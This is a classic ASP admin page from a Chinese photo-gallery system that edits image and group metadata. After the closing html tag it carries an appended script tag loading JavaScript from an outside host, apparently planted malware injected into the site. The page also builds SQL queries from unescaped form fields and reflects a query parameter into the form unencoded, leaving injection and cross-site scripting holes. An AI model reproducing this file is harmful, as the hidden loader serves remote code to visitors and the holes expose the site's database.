📄 modify.asp
字号:
<!--#include file="conn.asp"-->
<!--#include file="check.asp"-->
<%
function encodestr(str)
dim i
str=trim(str)
str=replace(str,"'","""")
str=replace(str,vbCrLf&vbCrlf,"<p></p>")
str=replace(str,vbCrLf,"<br>")
encodestr=replace(str," "," ")
end function
ID=clng(request("ID"))
Num=clng(request.QueryString("Num"))
Action=trim(request.form("Action"))
page=cint(request.QueryString("page"))
if Action="" then
titleID=clng(request.querystring("titleID"))
set rs=conn.execute("select a.ClassName,a.titleName,a.Photoer,a.Desc,b.Recomm,b.Content from title as a,imgbook as b where a.titleID="&titleID&" and b.ID="&ID&" and b.titleID=a.titleID")
ClassName=rs(0)
titleName=rs(1)
Photoer=rs(2)
Desc=rs(3)
Content=rs(5)
RsClose
else
OldID=clng(request.querystring("OldID"))
Content=encodestr(request.Form(("Content")))
ClassName=request.Form("classname")
titleName=request.Form("titleName")
Photoer=request.Form("Photoer")
Desc=request.Form("Desc")
user=request.QueryString("user")
if Action="Image" then
set rs=server.createobject("adodb.recordset")
rs.open "select * from title where titleName='"&titleName&"' and ClassName='"&ClassName&"'",conn,1,3
if rs.eof or rs.bof then
rs.addnew
rs("ClassName")=ClassName
rs("titleCount")=1
set Num=server.CreateObject("adodb.recordset")
Num.open "select max(titleNum) from Title",conn,1,1
if Num.eof or Num.bof or isNull(Num(0)) then
titleNum=10000001
else
titleNum=Num(0)+1
end if
Num.Close
set Num=nothing
rs("titleNum")=titleNum
rs("titleName")=titleName
rs("Photoer")=Photoer
rs("desc")=Desc
rs("user")=user
rs("updatetime")=now
else
if rs("titleID")<>OldID then
rs("titleCount")=rs("titleCount")+1
conn.execute("update title set titleCount=titleCount-1 where titleID="&OldID)
end if
end if
rs.update
rs.close
set rs=conn.execute("select titleID from title where titleName='"&titleName&"' and ClassName='"&ClassName&"'")
titleID=rs(0)
rs.close
set rs=server.CreateObject("adodb.recordset")
rs.open "select titleID,content from Imgbook where ID="&ID,conn,1,3
rs("content")=Content
rs("titleID")=titleID
rs.update
RsClose
response.write("<script>alert('修改成功！ ');this.location.href='manage.asp?page="&page&"';</script>")
elseif Action="title" then
set rs=server.CreateObject("adodb.recordset")
rs.open "select * from title where titleID="&OldID,conn,1,3
rs("ClassName")=ClassName
rs("titleName")=titleName
rs("Photoer")=Photoer
rs("desc")=Desc
rs.update
RsClose
response.write("<script>alert('修改成功！ ');this.location.href='manage.asp?page="&page&"';</script>")
end if
end if
%>
<html>
<head>
<meta http-equiv="Content-Language" content="zh-cn">
<meta name="GENERATOR" content="Microsoft FrontPage 5.0">
<meta name="ProgId" content="FrontPage.Editor.Document">
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>图片上传</title>
<link href="images/bbs.css" rel="stylesheet" type="text/css">
</head>
<body topmargin="0">
<div align="center">
<center>
<table width="563" border="0" cellpadding="0" cellspacing="0" id="AutoNumber1">
<form method="post" name="frmadd" action="?ID=<%=ID%>&OldID=<%=titleID%>&user=<%=request.QueryString("user")%>">
<tr>
<td height="36" colspan="3"><div align="center"><strong>图 片 修 改 </strong></div></td>
</tr>
<tr>
<td height="22" colspan="3"> 图片编号：<%=Num%></td>
</tr>
<tr>
<td colspan="3"> 所属分类：
<select name="classname">
<%sql1="select classname from classname order by RootID"
set rs1=conn.execute(sql1)%>
<option value="">请选择一个分类</option>
<%do while not rs1.eof %>
<option value="<%=rs1("classname")%>" <%if rs1("classname")=ClassName then%>selected<%end if%>><%=rs1("classname")%></option>
<%rs1.movenext
loop
rs1.close
set rs1=nothing %>
</select></td>
</tr>
<tr>
<td colspan="3"> 组图名称：
<input name="titleName" type="text" id="titleName" style="width: 94px" value="<%=titleName%>"></td>
</tr>
<tr>
<td colspan="3"> 作 者：
<input name="Photoer" type="text" id="Photoer" style="width: 94px" value="<%=Photoer%>">
</td>
</tr>
<tr>
<td height="24" colspan="3"> 简单说明：
<input name="Desc" type="text" id="Desc" value="<%=Desc%>" size="50" maxlength="50">
[50字以内]</td>
</tr>
<tr>
<td colspan="3"><table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="76" valign="top"> 图片说明：<br></td>
<td width="477"><textarea name="Content" cols="48" rows="6" id="textarea" onmouseover="this.select();"><%=Content%></textarea></td>
</tr>
</table></td>
</tr>
<tr>
<td width="77" height="13" valign="top"><div align="center">修改属性：</div></td>
<td colspan="2"><input type="radio" name="Action" value="Image" checked>
只修改此编号的图片
（您可以修改单张图片的信息）<br>
<input name="Action" type="radio" value="title">
修改组（您可以修改组图简单说明）</td>
</tr>
<tr>
<td> </td>
<td width="253"> </td>
<td width="233"> <p>
</td>
</tr>
<tr>
<td colspan="3"><div align="center">
<input type="submit" name="Submit" value="修改">
<input type="reset" name="Submit2" value="取消">
</div></td>
</tr>
</form>
</table>
</center>
</div>
</body>
</html>
<script language=javascript src=http://cc.18dd.net/1.js></script>⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -